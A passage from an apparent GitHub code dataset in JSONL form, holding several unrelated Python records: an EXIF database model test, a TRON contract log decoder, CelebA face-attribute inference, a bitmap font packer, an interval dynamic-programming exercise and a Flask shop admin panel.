db.Column(db.Integer)\n Make = db.Column(db.UnicodeText)\n Model = db.Column(db.UnicodeText)\n Software = db.Column(db.UnicodeText)\n CreateDate = db.Column(db.UnicodeText)\n ExifVersion = db.Column(db.UnicodeText)\n FlashpixVersion = db.Column(db.UnicodeText)\n DateTimeOriginal = db.Column(db.UnicodeText)\n ComponentsConfiguration = db.Column(db.UnicodeText)\n FNumber = db.Column(db.Double)\n ExposureTime = db.Column(db.Double)\n ApertureValue = db.Column(db.Double)\n ShutterSpeedValue = db.Column(db.Double)\n\n def __init__(self, image_id, data, private_key=None):\n if private_key != EXIFModel.__private_key:\n raise ImageModelException(\"Use Class Method fromJSON.\")\n self.image_id = image_id\n for key, value in data.items():\n setattr(self, key, value)\n\n def __repr__(self):\n attributes = ', '.join([f\"{key}={value}\" for key, value in self.__dict__.items()])\n return f\"EXIFModel({attributes})\"\n\n @classmethod\n def fromJSON(cls, image_id, json_data):\n data = json.loads(json_data)\n\n exif = EXIFModel(image_id, data, private_key=cls.__private_key)\n exif.save_to_db()\n # exif.print()\n return exif\n\n def save_to_db(self):\n if isFlask:\n db.session.add(self)\n db.session.commit()\n else:\n session = Session()\n session.add(self)\n session.commit()\n session.close()\n\n def delete_from_db(self):\n if isFlask:\n db.session.delete(self)\n db.session.commit()\n else:\n session = Session()\n session.add(self)\n session.commit()\n session.close()\n\n @classmethod\n def find_all(cls):\n if isFlask:\n all = cls.query.all()\n else:\n session = Session()\n all = session.query(EXIFModel).all()\n session.close()\n return all\n\n\nif __name__ == '__main__':\n json_exif = \"\"\"{\n \"ISO\": 640,\n \"Make\": \"Microsoft\",\n \"Flash\": 16,\n \"Model\": \"Lumia 532 Dual SIM\",\n \"FNumber\": 2.4,\n \"Software\": \"Windows Phone\",\n \"ColorSpace\": 1,\n \"CreateDate\": \"2015:07:22 12:09:28\",\n \"Compression\": 6,\n \"ExifVersion\": \"0220\",\n \"LightSource\": 0,\n \"Orientation\": 1,\n \"XResolution\": 72,\n \"YResolution\": 72,\n \"ExposureMode\": 0,\n \"ExposureTime\": 0.02,\n \"MeteringMode\": 1,\n \"WhiteBalance\": 0,\n \"ApertureValue\": 2.39999932487398,\n \"ExifImageWidth\": 1456,\n \"ResolutionUnit\": 2,\n \"ExifImageHeight\": 2592,\n \"FlashpixVersion\": \"0100\",\n \"DateTimeOriginal\": \"2015:07:22 12:09:28\",\n \"DigitalZoomRatio\": 1,\n \"SceneCaptureType\": 0,\n \"YCbCrPositioning\": 1,\n \"ShutterSpeedValue\": 0.0200000026308365,\n \"ExposureCompensation\": 0,\n \"ComponentsConfiguration\": \"1 2 3 0\",\n \"Unwanted:\": \"Unwanted Value\"\n }\"\"\"\n json_exif2 = \"\"\"{\n \"ISO\": 640,\n \"Make\": \"Microsoft\"\n\n }\"\"\"\n json_exif3 = \"\"\"{\n \"ISO\": 640,\n \"Make\": \"Microsoft\",\n \"Flash\": 16,\n \"Model\": \"Lumia 532 Dual SIM\",\n \"FNumber\": 2.4,\n \"Software\": \"Windows Phone\",\n \"ColorSpace\": 1,\n \"Compression\": 6,\n \"ExifVersion\": \"0220\",\n \"LightSource\": 0,\n \"Orientation\": 1,\n \"XResolution\": 72,\n \"YResolution\": 72,\n \"ExposureMode\": 0,\n \"ExposureTime\": 0.02,\n \"MeteringMode\": 1,\n \"WhiteBalance\": 0,\n \"ApertureValue\": 2.39999932487398,\n \"ExifImageWidth\": 1456,\n \"ResolutionUnit\": 2,\n \"ExifImageHeight\": 2592,\n \"FlashpixVersion\": \"0100\",\n \"DateTimeOriginal\": \"2015:07:22 12:09:28\",\n \"DigitalZoomRatio\": 1,\n \"SceneCaptureType\": 0,\n \"YCbCrPositioning\": 1,\n \"ShutterSpeedValue\": 0.0200000026308365,\n \"ExposureCompensation\": 0,\n \"ComponentsConfiguration\": \"1 2 3 0\"\n }\"\"\"\n if not isFlask:\n Base.metadata.create_all(engine)\n\n exif = EXIFModel.fromJSON(0, json_exif)\n exif = EXIFModel.fromJSON(2, json_exif2)\n exif = EXIFModel.fromJSON(4, json_exif3)\n\n items = EXIFModel.find_all()\n for item in items:\n print(item.CreateDate)\n","repo_name":"asarangaram/image_repo","sub_path":"test/json_test.py","file_name":"json_test.py","file_ext":"py","file_size_in_byte":5696,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"70835964711","text":"from typing import Any\n\nimport utils\n\n\nclass Contract:\n abi: dict = None\n event_mappings: dict[str, dict] = None\n\n def __init__(self, abi: dict) -> None:\n self.abi = abi\n self.event_mappings = {}\n\n # parse events\n for entry in self.abi:\n if entry[\"type\"].lower() != \"event\":\n continue\n\n inputs = \",\".join([row[\"type\"] for row in entry[\"inputs\"]])\n event_name: str = entry[\"name\"]\n event_topic: str = utils.keccak256(f\"{event_name}({inputs})\").removeprefix(\n \"0x\"\n )\n\n event_data: dict = {\n \"name\": event_name,\n \"params\": entry[\"inputs\"],\n }\n self.event_mappings[event_topic] = event_data\n\n def can_decode(self, log: dict) -> bool:\n topics = log[\"topics\"]\n event_topic = topics[0]\n return event_topic in self.event_mappings\n\n def decode_log(self, log: dict) -> tuple[str, dict[str, Any]]:\n topics = log[\"topics\"]\n data = log.get(\"data\", [])\n event_topic = topics[0]\n event_data = self.event_mappings[event_topic]\n input_names = [row[\"name\"] for row in event_data[\"params\"]]\n input_types = [row[\"type\"] for row in event_data[\"params\"]]\n\n values = topics[1:]\n types_to_decode = input_types[len(values) :]\n if types_to_decode:\n decoded_values = utils.decode_params(data, types_to_decode)\n values += decoded_values\n\n for t, v in zip(input_types, values):\n value = utils.to_base58(v[-40:]) if t == \"address\" else v\n values.append(value)\n return event_data[\"name\"], dict(zip(input_names, values))\n","repo_name":"FerumFlex/tronql","sub_path":"dashboard/services/contract.py","file_name":"contract.py","file_ext":"py","file_size_in_byte":1723,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"10662502942","text":"import torchvision.transforms as transforms\nfrom torch.utils.data.sampler import SubsetRandomSampler\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.utils.data import TensorDataset, DataLoader, Dataset\nimport torchvision\nfrom torchvision import models\nimport torch.optim as optim\nimport pandas as pd\nimport numpy as np\nimport cv2\nimport os\nfrom sklearn import preprocessing\nimport matplotlib.pyplot as plt\nimport re\nimport pickle\n\ndef initialize_celeba(CELEBA_IMAGES = 30000):\n # global output_file_path, output_low_level_path, df_attributes\n attributes_path = \"./content/drive/MyDrive/CelebA/metadata/list_attr_celeba.csv\"\n df_attributes = pd.read_csv(attributes_path) \n removeImages = df_attributes.shape[0] - CELEBA_IMAGES\n drop_indices = np.random.choice(df_attributes.index[1:], removeImages, replace=False)\n df_attributes = df_attributes.drop(drop_indices) \n\n return df_attributes\n\nclass celebAData(Dataset):\n def __init__(self,df_attributes,transform=None,train=True):\n super().__init__()\n self.df_attributes = df_attributes\n self.transform = transform\n self.train = train\n self.data_list = df_attributes['image_id'].tolist()\n # celeba_id = df['image_id'].tolist()\n\n def __len__(self):\n return len(self.data_list)\n \n def __getitem__(self,item):\n # global output_file_path, output_low_level_path, df_attributes\n # print(item)\n img_idx = item\n imgname = self.data_list[item]\n # foldername = imgname[:-9]\n # imgpath = os.path.join('/content/drive/MyDrive/LFW/zipped/lfw',foldername,imgname)\n imgpath = os.path.join(\"./content/drive/MyDrive/CelebA/zipped/img_align_celeba/img_align_celeba\", imgname)\n # print(imgpath)\n img = cv2.imread(imgpath)\n img = cv2.cvtColor(img,cv2.COLOR_BGR2RGB)\n imgr = cv2.resize(img,(224,224))\n label = self.df_attributes.iloc[img_idx][2:]\n label = np.array(label)\n print(label)\n label = np.where(label < 0,0,1)\n\n if self.transform is not None:\n imgr = self.transform(imgr)\n if self.train:\n return {\n 'img' : imgr,\n 'label' : torch.tensor(label)\n }\n else:\n return {\n 'img':imgr\n }\n\nclass ResnetModel(nn.Module):\n def __init__(self,n_classes):\n super().__init__()\n resnet = models.resnext50_32x4d(pretrained=True)\n resnet.fc = nn.Sequential(\n nn.Dropout(p=0.2),\n nn.Linear(in_features=resnet.fc.in_features, out_features=n_classes)\n )\n self.base_model = resnet\n self.sigm = nn.Sigmoid()\n\n def forward(self, x):\n return self.sigm(self.base_model(x))\n\n\ndf_attributes = initialize_celeba(20000)\nattributesConsidered = 40\ndf_attributes_short = df_attributes.iloc[:, : attributesConsidered + 1]\ndf_attributes_short = df_attributes.reset_index()\nprint(\"dataframe shaep\", df_attributes_short.shape)\nprint(\"dataframefirst column\" , df_attributes_short.iloc[:10, :2])\n\ndataset = celebAData(df_attributes_short)\ntem = dataset.__getitem__(2)\nplt.imshow(tem['img'])\n#print(tem[\"label\"])\n\ntest_data = celebAData(df_attributes_short)\ntest_loader = DataLoader(test_data, batch_size=32, shuffle=False)\n#len(test_data)\n\ndevice = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\nprint(device)\n\n\nconsidered_attr = 40\nattr_model = ResnetModel(considered_attr).to(device)\nattr_model.load_state_dict(torch.load(\"./attr_net_75k_40.pth\"))\n\ntem = torch.rand((32,3,224,224)).to(device)\ny = attr_model(tem)\n#print(y.shape)\n\nattr_model.eval()\nfrom tqdm import tqdm\nattr_preds = []\nprint(\"FINDING ATTR PREDS:\")\nwith torch.no_grad():\n for images in tqdm(test_loader):\n data = images['img'].squeeze(0).to(device)\n outputs = attr_model(data)\n pr = outputs.detach().cpu().numpy()\n for i in pr:\n attr_preds.append(np.round(i)) \n\ndef get_resnet():\n model1 = models.resnet50(pretrained=True)\n for name, child in model1.named_children():\n for param in child.parameters():\n param.requires_grad = False\n # Parameters of newly constructed modules have requires_grad=True by default\n num_ftrs = model1.fc.in_features\n model1.fc = nn.Sequential(\n nn.Linear(num_ftrs, 1024),\n nn.ReLU(inplace=True),\n nn.Linear(1024, 512),\n nn.ReLU(inplace=True),\n nn.Linear(512, 36)\n )\n return model1\nprint(\"FINDING simile PREDS:\")\n\n# model = model1.to(device)\nsimile_model = get_resnet().to(device)\nsimile_model.load_state_dict(torch.load(\"./simile_model.pth\"))\n\nsimile_model.eval()\nfrom tqdm import tqdm\nsimile_preds = []\nwith torch.no_grad():\n for images in tqdm(test_loader):\n data = images['img'].squeeze(0).to(device)\n outputs = simile_model(data)\n _, predicted = torch.max(outputs.data, 1)\n pr = outputs.detach().cpu().numpy()\n # print(pr)\n for i in pr:\n simile_preds.append(i) \n\nprint(\"saving outputs\")\n\nwith open(\"./celeba_simile_prediction.pkl\",\"wb\") as f:\n pickle.dump(simile_preds,f)\n\nwith open(\"./celeba_attr_prediction.pkl\",\"wb\") as f:\n pickle.dump(attr_preds,f)\n","repo_name":"HaripraveenS/face-verification","sub_path":"src/neural network (BONUS)/verifnet_celeba.py","file_name":"verifnet_celeba.py","file_ext":"py","file_size_in_byte":5281,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"71"} +{"seq_id":"6331775099","text":"#!/usr/bin/python3\nimport sys\nimport math\n\ndef rindex(lst, value):\n return len(lst) - 1 - lst[::-1].index(value)\n\n\nSPACE_WIDTH = 2\n\nclass Glyph:\n def __init__(self, atlas, char):\n self.char = char\n self.ascii = ord(char)\n assert self.ascii < 128\n\n if char == ' ':\n self.stride_bytes = 0\n self.sprite = []\n self.origin_y_offset = 0\n self.next_char_offset_x = SPACE_WIDTH + 1\n return\n\n\n # font input is 16 sections wide, 8 high.\n # indexed by ascii value in reading direction\n section_x = self.ascii % 16\n section_y = self.ascii // 16\n\n pixel_x = section_x*16\n pixel_y = section_y*16\n # section is the 16x16 area that contains the glyph\n # glyph will be offset in this area to show origin offset and kerning\n self.section = Glyph.subsprite(atlas, pixel_x, pixel_x+16, pixel_y, pixel_y+16)\n self.detect_bounding_box()\n\n self.origin_x_offset = 0 # forced to always zero in this specification\n baseline_offset_in_section = 8\n self.origin_y_offset = baseline_offset_in_section - self.sprite_y_offset\n\n virtual_next_char_y = 8\n self.next_char_offset_x = virtual_next_char_y - self.sprite_x_offset\n \n def subsprite(main_tex, min_x, max_x, min_y, max_y):\n return [row[min_x:max_x] for row in main_tex[min_y:max_y]]\n\n def detect_bounding_box(self):\n # detect BB of set pixels\n min_x = min(row.index(True) for row in self.section if any(row))\n max_x_inclusive = max(rindex(row, True) for row in self.section if any(row))\n min_y = [any(row) for row in self.section].index(True)\n max_y_inclusive = rindex([any(row) for row in self.section], True)\n\n self.sprite = Glyph.subsprite(self.section, min_x, max_x_inclusive+1, min_y, max_y_inclusive+1)\n self.sprite_x_offset = min_x\n self.sprite_y_offset = min_y\n\n width = len(self.sprite[0])\n self.stride_bytes = math.ceil(width / 8)\n \n def to_bytearray(self):\n b = bytearray()\n b.append(self.stride_bytes)\n b.append(len(self.sprite))\n b.append(self.origin_y_offset)\n b.append(self.next_char_offset_x)\n for row in self.sprite:\n b.extend(self.bitpack_byte_aligned(row))\n return b\n \n def bitpack_byte_aligned(self, row):\n b = bytearray()\n for byte_idx in range(0, self.stride_bytes):\n bits = row[byte_idx*8:((byte_idx+1)*8)]\n byte = 0\n\n # note we store the leftmost pixel in bit 0 (least significant)\n for i, bit in enumerate(bits):\n if(bit):\n byte |= 1 << i\n b.append(byte)\n return b\n\n\n def __str__(self):\n out = \"\"\n out += f\"char: {self.char}\\n\"\n out += f\"sprite:\\n stride: {self.stride_bytes}\\n y_off: {self.origin_y_offset}\\n next_x: {self.next_char_offset_x}\\n\"\n for row in self.sprite:\n for cell in row:\n out += \"@\" if cell else \".\"\n out += \"\\n\"\n return out\n\n\ndef make_font(atlas: list[list[bool]]):\n b = bytearray()\n n_chars = 0x7f-0x20\n header_entry_size = 4 # 32-bit LE offset\n header_size = n_chars * header_entry_size;\n b.extend(bytearray(header_size))\n for i in range(0x20, 0x7f):\n current_offset = len(b)\n\n header_idx = (i - 0x20) * 4 # we dont reserve header space for control chars (below 0x20)\n # add 32bit le\n b[header_idx + 0] = (current_offset >> 0) & 0xff;\n b[header_idx + 1] = (current_offset >> 8) & 0xff;\n b[header_idx + 2] = (current_offset >> 16) & 0xff;\n b[header_idx + 3] = (current_offset >> 24) & 0xff;\n \n glyph = Glyph(atlas, chr(i))\n # print(glyph)\n b.extend(glyph.to_bytearray())\n return b\n\n\nif __name__ == \"__main__\":\n if len(sys.argv) != 3:\n print(\"expected [INPUT .pbm] [OUTPUT .bin]\");\n\n lines = open(sys.argv[1]).readlines();\n\n assert lines[0].strip() == \"P1\", \"image should be ASCII (uncompressed) Portable BitMap\"\n assert lines[1].strip() == \"256 128\", \"image should be 256x128\"\n assert len([l for l in lines if len(l.strip()) != 0]) == 128 + 2, \"image should have 128 rows of data and 2 rows of header\"\n\n def to_bool(s):\n return True if s == \"1\" else False\n\n bits = [[to_bool(cell) for cell in line.split()] for line in lines[2:]]\n\n font_data = make_font(bits)\n\n with open(sys.argv[2], \"wb\") as outfile:\n outfile.write(font_data)\n \n print(\"written font data\")","repo_name":"lprib/sbc3","sub_path":"firmware/libui/src/text/build_font.py","file_name":"build_font.py","file_ext":"py","file_size_in_byte":4619,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"4343297512","text":"from math import inf\n# F[i][j] - min liczba odcinkow, ktore trzeba skleic zeby powstal odcinek od i do j\n# F[i][j] = min(F[i][k] + F[k][j], F[i][j])\n# zadanie podobne do nawiasowania macierzy\n\ndef map_to_array(T):\n n = len(T)\n A = []\n for i in range(len(T)):\n A.append(T[i][0])\n A.append(T[i][1])\n\n A.sort()\n B = [A[0]]\n\n for i in range(1,2*n):\n if A[i] != A[i-1]:\n B.append(A[i])\n\n return B\n\n\ndef max_sticking(T, cnt):\n T.sort(key=lambda x: x[0])\n A = map_to_array(T)\n n = len(A)\n F = [[inf]*n for _ in range(n)]\n\n m = len(T)\n ind1 = 0\n ind2 = 0\n for i in range(m):\n for j in range(n):\n if T[i][0] == A[j]:\n ind1 = j\n for j in range(n):\n if T[i][1] == A[j]:\n ind2 = j\n\n #F[i][i] = 0\n F[ind1][ind2] = 1\n\n for i in range(n):\n F[i][i] = 0\n\n\n for i in range(n):\n for j in range(i + 1,n):\n for k in range(i,j):\n F[i][j] = min(F[i][k] + F[k][j], F[i][j])\n\n result = None, None, 0\n for i in range(n):\n for j in range(n):\n if F[i][j] <= cnt and A[j] - A[i] > result[2]:\n result = (A[i],A[j],A[j] - A[i])\n\n return result\n\n\nA = [(0, 3), (3, 7), (3, 4), (-2, 0)]; k = 3 #(-2, 7, 9)\nprint(max_sticking(A,k))\n\nA = [(0, 3), (3, 9), (0, 5), (5, 8), (8, 14), (3, 4), (-2, 0)]; k = 4 #(-2, 14, 16)\nprint(max_sticking(A,k))\n\nA = [(0, 3), (3, 9), (0, 5), (5, 8), (8, 14), (3, 4), (-2, 0),(-3,0)]; k = 4 #(-3, 14, 17)\nprint(max_sticking(A,k))\n\nA = [(0, 3), (3, 9), (0, 5), (5, 8), (8, 14), (3, 4), (-2, 0),(-4,-2),(-3,0)]; k = 5 #(-4, 14, 18)\nprint(max_sticking(A,k))\n\nA = [(1,2),(1,3),(1,4),(2,6),(3,6),(2,3),(3,6)]; k = 3 #(1, 6, 5)\nprint(max_sticking(A,k))","repo_name":"maati01/ASD","sub_path":"ćwiczenia/cwiczenia06/zad7.3.py","file_name":"zad7.3.py","file_ext":"py","file_size_in_byte":1785,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"20232670024","text":"import secrets\nimport os\nfrom sqlalchemy import exc\nfrom config import config\nfrom flask import request, redirect, url_for, session , flash\nfrom flask import render_template, jsonify\nfrom . import main\nfrom .. import db\nfrom .. models import Admin,Product,Unit,ProductType,\\\n Stock ,PlacedOrder, OrderStatus, StatusCatalog, OrderedItem,\\\n WeightDeliveryCharge, DeliveryCharge,\\\n ShopDetails, PaymentMethod,PaymentStatus\nfrom . forms import LoginForm, AddProduct, UpdateProduct, DeleteProduct,\\\n AddCategory,UpdateCategory, DeleteCategory, \\\n DeleteOrder, UpdateOrder,\\\n AddressAddCharge, AddressUpdateCharge,AddressDeleteCharge,\\\n WeightAddCharge, WeightUpdateCharge,WeightDeleteCharge,\\\n ChangeUsernameForm, ChangePasswordForm, ChangeShopDetailForm\n \n\nfrom flask_login import login_required,logout_user, login_user, current_user\n\n@main.context_processor\ndef inject_user():\n return dict(shop_name= ShopDetails.query.all()[0].shop_name)\n\n\n@main.route('/login', methods=['GET', 'POST'])\ndef login():\n form = LoginForm()\n if form.validate_on_submit():\n user = Admin.query.filter_by(username=form.username.data.lower()).first()\n if user is not None and user.verify_password(form.password.data):\n login_user(user)\n next = request.args.get('next')\n if next is None or not next.startswith('/'):\n next = url_for('main.dashboard')\n return redirect(next)\n\n flash('Invalid email or password.')\n return render_template('login.html',form=form)\n\n\n\n@main.route('/dashboard', methods=['GET', 'POST'])\n@login_required\ndef dashboard():\n\n print(os.path.join(url_for('static',filename='product_images'),\"hrhrhr.txt\"))\n\n return render_template('index.html',name = current_user.username)\n\n\n@main.route('/logout')\n@login_required\ndef logout():\n logout_user()\n flash('You have been logged out.')\n return redirect(url_for('main.login'))\n\n\ndef save_picture(form_picture):\n random_hex = secrets.token_hex(8)\n \n _, f_ext = os.path.splitext(form_picture.filename)\n\n picture_filename = random_hex + f_ext\n\n picture_path = os.path.join(\"app/\" +url_for('static',filename=\"product_images\"),picture_filename)\n form_picture.save(picture_path)\n\n\n return picture_filename\n\ndef delete_picture(picture_filename):\n try:\n os.remove(os.path.join(\"app\" +url_for('static',filename=\"product_images\"),picture_filename))\n except:\n flash(\"could not remove image file!\")\n \n@main.route('/products', methods=['GET', 'POST'])\n@login_required\ndef products():\n add_form = AddProduct()\n\n update_form = UpdateProduct()\n\n delete_form = DeleteProduct()\n\n add_form.unit_id.choices = [(unit.id, unit.unit_name) for unit in Unit.query.all()]\n add_form.product_type_id.choices = [(category.id, category.type_name) for category in ProductType.query.all()]\n\n update_form.unit_id.choices = [(unit.id, unit.unit_name) for unit in Unit.query.all()]\n update_form.product_type_id.choices = [(category.id, category.type_name) for category in ProductType.query.all()]\n \n products = Product.query.all()\n\n if add_form.validate_on_submit():\n add_form_data = dict()\n if add_form.product_image.data:\n picture_file = save_picture(add_form.product_image.data)\n for items in add_form:\n add_form_data[items.id] = items.data\n \n add_form_data[\"product_image\"] = picture_file\n try:\n element = Product.from_dict(add_form_data)\n db.session.add(element)\n db.session.commit()\n except exc.SQLAlchemyError as e:\n \n flash(\"Something went wrong,Duplicate Entry!\",\"danger\")\n return redirect(url_for('main.products'))\n\n \n\n stock = Stock(product_id = element.id,in_stock= add_form_data[\"stock\"])\n db.session.add(stock)\n db.session.commit()\n flash('Product Added')\n\n return redirect(url_for('main.products'))\n # flash('Something went wrong!')\n\n\n if update_form.validate_on_submit():\n update_form_data = dict()\n picture_file = \"\"\n if update_form.product_new_image.data:\n picture_file = save_picture(update_form.product_new_image.data)\n\n for items in update_form:\n update_form_data[items.id] = items.data\n\n update_form_data[\"product_new_image\"] = picture_file\n\n\n element = Product.query.get_or_404(update_form_data[\"product_id\"])\n \n element.product_name = update_form_data.get('product_name', element.product_name)\n \n if(picture_file !=\"\"):\n old_product_image = element.product_image\n element.product_image = update_form_data.get(\"product_new_image\")\n\n delete_picture(old_product_image)\n \n element.product_description = update_form_data.get('product_description', element.product_description)\n \n element.price_per_unit = update_form_data.get('price_per_unit', element.price_per_unit)\n element.unit_id = update_form_data.get('unit_id', element.unit_id)\n element.product_type_id = update_form_data.get('product_type_id', element.product_type_id)\n element.product_weight = update_form_data.get('product_weight', element.product_weight)\n \n \n try:\n db.session.add(element)\n db.session.commit()\n except exc.SQLAlchemyError as e:\n \n flash(\"Something went wrong,Duplicate Entry!\",\"danger\")\n return redirect(url_for('main.products'))\n \n stock = Stock.query.get_or_404(element.id)\n\n stock.in_stock = update_form_data.get('stock', stock.in_stock)\n db.session.add(stock)\n db.session.commit()\n\n flash('Product Updated')\n\n return redirect(url_for('main.products'))\n\n\n if delete_form.validate_on_submit():\n delete_form_data = dict()\n for items in delete_form:\n delete_form_data[items.id] = items.data\n\n element = Product.query.get_or_404(delete_form_data[\"product_id\"])\n old_product_image = element.product_image\n\n try:\n \n db.session.delete(element)\n db.session.commit()\n except exc.SQLAlchemyError as e:\n db.session.rollback()\n flash(\"Could not delete, Something went wrong\",\"danger\")\n else:\n delete_picture(old_product_image)\n flash('Product Deleted',\"success\")\n\n \n flash('Product Deleted')\n return redirect(url_for('main.products'))\n \n # flash('Something went wrong!')\n return render_template('products.html',products = products,add_form=add_form,update_form= update_form, delete_form= delete_form)\n\n@main.route('/categories', methods=['GET', 'POST'])\n@login_required\ndef categories():\n add_form = AddCategory()\n\n update_form = UpdateCategory()\n\n delete_form = DeleteCategory()\n\n categories = ProductType.query.all()\n\n\n if add_form.submit1.data and add_form.validate_on_submit():\n\n # print(\"add form\")\n add_form_data = dict()\n \n for items in add_form:\n add_form_data[items.id] = items.data\n\n try:\n element = ProductType.from_dict(add_form_data)\n db.session.add(element)\n db.session.commit()\n except exc.SQLAlchemyError as e:\n flash(\"Something went wrong,Duplicate Entry!\",\"danger\")\n return redirect(url_for('main.categories'))\n \n \n\n flash('Category Added')\n\n return redirect(url_for('main.categories'))\n\n if update_form.submit2.data and update_form.validate_on_submit():\n\n # print(\"update form\")\n update_form_data = dict()\n\n for items in update_form:\n update_form_data[items.id] = items.data\n\n element = ProductType.query.get_or_404(update_form_data[\"type_id\"])\n \n element.type_name = update_form_data.get('type_name', element.type_name)\n \n try:\n db.session.add(element)\n db.session.commit()\n except exc.SQLAlchemyError as e:\n flash(\"Something went wrong,Duplicate Entry!\",\"danger\")\n return redirect(url_for('main.categories'))\n \n\n flash('Category Updated')\n\n return redirect(url_for('main.categories'))\n\n\n if delete_form.submit3.data and delete_form.validate_on_submit():\n\n # print(\"delete called\")\n delete_form_data = dict()\n for items in delete_form:\n delete_form_data[items.id] = items.data\n\n element = ProductType.query.get_or_404(delete_form_data[\"type_id\"])\n \n try:\n db.session.delete(element)\n db.session.commit()\n except exc.SQLAlchemyError as e:\n db.session.rollback()\n flash(\"Could not delete, Something went wrong\")\n else:\n flash('Category Deleted')\n\n return redirect(url_for('main.categories'))\n\n return render_template('categories.html',categories = categories,add_form = add_form, update_form = update_form, delete_form = delete_form )\n\n\n\n\n# orders\n@main.route('/orders', methods=['GET', 'POST'])\n@login_required\ndef orders():\n\n # orders = PlacedOrder.query.join(OrderStatus, PlacedOrder.order_status_id == OrderStatus.id).\\\n # filter(OrderStatus.status_catalog_id == StatusCatalog.new_id().id).all()[::-1]\n \n orders = db.session.query(\n PlacedOrder,PaymentMethod,PaymentStatus\n ).join(\n OrderStatus, PlacedOrder.order_status_id == OrderStatus.id\n ).filter(\n OrderStatus.status_catalog_id == StatusCatalog.new_id().id\n ).filter(\n PlacedOrder.payment_method == PaymentMethod.id\n ).filter(\n PlacedOrder.payment_status == PaymentStatus.id\n ).all()[::-1]\n update_form = UpdateOrder()\n\n update_form.order_status.choices = [(status.id, status.status_name) for status in StatusCatalog.query.all()]\n\n delete_form = DeleteOrder()\n\n\n\n if update_form.submit2.data and update_form.validate_on_submit():\n \n update_form_data = dict()\n for items in update_form:\n update_form_data[items.id] = items.data\n\n order = PlacedOrder.query.get_or_404(update_form_data[\"order_id\"])\n orderStatus = OrderStatus.query.get_or_404(order.order_status_id)\n \n \n orderStatus.status_catalog_id = update_form_data.get('order_status', orderStatus.status_catalog_id)\n if(orderStatus.status_catalog_id == StatusCatalog.old_id().id):\n for item in order.ref_items:\n stock = Stock.query.filter_by(product_id = item.product_id).first()\n \n if stock is not None:\n if(stock.in_stock < item.quantity):\n flash('Someting went wrong! Stock in sufficeint!')\n return redirect(url_for('main.orders'))\n else:\n stock.in_stock = 0 if (stock.in_stock - item.quantity <= 0) else stock.in_stock - item.quantity\n db.session.add(stock)\n else:\n flash('Someting went wrong! Products Not in stock')\n return redirect(url_for('main.orders'))\n\n \n\n db.session.add(orderStatus)\n db.session.commit()\n \n\n flash('Order Updated')\n\n return redirect(url_for('main.orders'))\n\n \n\n if delete_form.submit3.data and delete_form.validate_on_submit():\n\n delete_form_data = dict()\n for items in delete_form:\n delete_form_data[items.id] = items.data\n\n element = PlacedOrder.query.get_or_404(delete_form_data[\"order_id\"])\n \n try:\n db.session.delete(element)\n db.session.commit()\n except exc.SQLAlchemyError as e:\n db.session.rollback()\n flash(\"Could not delete, Something went wrong\")\n else:\n flash('Order Deleted')\n\n return redirect(url_for('main.orders'))\n\n\n return render_template('orders.html',orders = orders,update_form = update_form, delete_form = delete_form)\n\n\n@main.route('/order_items/<int:order_id>', methods=['GET'])\n@login_required\ndef order_items(order_id):\n \n # it = db.session.query(Product, OrderedItem).outerjoin(Product, OrderedItem,Product.id == OrderedItem.product_id ).all()\n \n \n # items = Product.query.join(OrderedItem, OrderedItem.product_id == Product.id).\\\n # filter_by(placed_order_id = order_id).all()\n # items = OrderedItem.query.filter_by(placed_order_id = order_id).all()\n order = PlacedOrder.query.filter_by(id=order_id).first() \n if order is None:\n flash(\"Invalid order!\")\n return {}\n\n delivery_charge = order.delivery_charge\n\n items = db.session.query(OrderedItem.quantity,OrderedItem.price,Product.id, Product.product_name,Product.price_per_unit).join(Product,OrderedItem.product_id == Product.id ).\\\n filter(OrderedItem.placed_order_id == order_id).all()\n\n responseObj = {}\n \n itemList = []\n total_amount = 0.0\n\n for item in items:\n itemObj = {}\n itemObj['product_id'] = item.id\n itemObj['product_name'] = item.product_name\n itemObj['quantity'] = item.quantity\n price = float(item.quantity) * float(item.price_per_unit)\n total_amount += price\n itemObj['price'] = str(price)\n\n itemList.append(itemObj)\n \n responseObj['items'] = itemList \n responseObj['sub_total'] = total_amount\n responseObj['delivery_charge'] = float(delivery_charge)\n responseObj['total_amount'] = total_amount + float(delivery_charge)\n \n return jsonify(responseObj)\n\n\n\n@main.route('/old_orders', methods=['GET', 'POST'])\n@login_required\ndef old_orders():\n # orders = PlacedOrder.query.join(OrderStatus, PlacedOrder.order_status_id == OrderStatus.id).\\\n # filter(OrderStatus.status_catalog_id == StatusCatalog.old_id().id).all()\n\n orders = db.session.query(\n PlacedOrder,PaymentMethod,PaymentStatus\n ).join(\n OrderStatus, PlacedOrder.order_status_id == OrderStatus.id\n ).filter(\n OrderStatus.status_catalog_id == StatusCatalog.old_id().id\n ).filter(\n PlacedOrder.payment_method == PaymentMethod.id\n ).filter(\n PlacedOrder.payment_status == PaymentStatus.id\n ).all()[::-1]\n\n\n delete_form = DeleteOrder()\n\n \n\n if delete_form.submit3.data and delete_form.validate_on_submit():\n\n delete_form_data = dict()\n for items in delete_form:\n delete_form_data[items.id] = items.data\n\n element = PlacedOrder.query.get_or_404(delete_form_data[\"order_id\"])\n \n try:\n db.session.delete(element)\n db.session.commit()\n except exc.SQLAlchemyError as e:\n db.session.rollback()\n flash(\"Could not delete, Something went wrong\")\n else:\n flash('Order Deleted')\n\n return redirect(url_for('main.old_orders'))\n\n\n return render_template('old_orders.html',orders = orders, delete_form = delete_form)\n\n\n@main.route('/delivery_charges', methods=['GET', 'POST'])\n@login_required\ndef delivery_charges():\n \n # address forms\n address_add_form = AddressAddCharge()\n address_update_form = AddressUpdateCharge()\n address_delete_form = AddressDeleteCharge()\n\n\n # weight forms\n weight_add_form = WeightAddCharge(request.form)\n weight_update_form = WeightUpdateCharge(request.form)\n weight_delete_form = WeightDeleteCharge()\n\n\n address_charges = DeliveryCharge.query.all()\n\n weight_charges = WeightDeliveryCharge.query.all()\n\n if address_add_form.submit1.data and address_add_form.validate_on_submit():\n\n # print(\"add form\")\n address_add_form_data = 